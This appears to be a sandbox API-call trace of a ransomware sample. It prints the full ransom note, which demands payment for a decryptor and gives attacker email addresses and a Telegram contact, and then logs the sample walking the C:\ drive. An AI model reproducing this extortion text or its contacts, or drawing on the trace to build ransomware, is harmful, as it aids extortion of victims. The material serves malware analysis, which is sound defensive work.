contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 1174 [0116.275] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39fe610 [0116.275] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39fdd70 | out: hHeap=0xd10000) returned 1 [0116.275] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39fd438 | out: hHeap=0xd10000) returned 1 [0116.275] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned 1173 [0116.275] WriteFile (in: hFile=0x60c, lpBuffer=0x39fe610*, nNumberOfBytesToWrite=0x495, lpNumberOfBytesWritten=0x405fb64, lpOverlapped=0x0 | out: lpBuffer=0x39fe610*, lpNumberOfBytesWritten=0x405fb64*=0x495, lpOverlapped=0x0) returned 1 [0116.276] CloseHandle (hObject=0x60c) returned 1 [0116.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39fe610 | out: hHeap=0xd10000) returned 1 [0116.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39fcc20 | out: hHeap=0xd10000) returned 1 [0116.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4f18 | out: hHeap=0xd10000) returned 1 [0116.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.277] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x39836e0 [0116.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1c) returned 0x3947b58 [0116.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.277] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0116.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x38) returned 0x3983720 [0116.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb50 | out: hHeap=0xd10000) returned 1 [0116.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.278] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0116.278] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0116.278] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0116.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x54) returned 0x39668a0 [0116.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3983720 | out: hHeap=0xd10000) returned 1 [0116.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.278] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0116.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0116.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0116.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb50 | out: hHeap=0xd10000) returned 1 [0116.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39668a0 | out: hHeap=0xd10000) returned 1 [0116.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0116.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.279] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x58a62540, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0116.279] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa8) returned 0x39326e8 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39418b0 | out: hHeap=0xd10000) returned 1 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.279] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x58a62540, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0116.279] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.279] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x31b64000, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x31b64000, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xfc) returned 0xdcc590 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb88 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb50 | out: hHeap=0xd10000) returned 1 [0116.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39326e8 | out: hHeap=0xd10000) returned 1 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.280] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebc0 [0116.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.280] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.280] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x16c) returned 0x38e0b90 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb88 | out: hHeap=0xd10000) returned 1 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb50 | out: hHeap=0xd10000) returned 1 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebc0 | out: hHeap=0xd10000) returned 1 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.281] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960f00 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.281] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f817060, ftCreationTime.dwHighDateTime=0x1d53dff, ftLastAccessTime.dwLowDateTime=0x3f817060, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x3f817060, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemID", cAlternateFileName="")) returned 1 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.281] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0116.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.282] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.282] 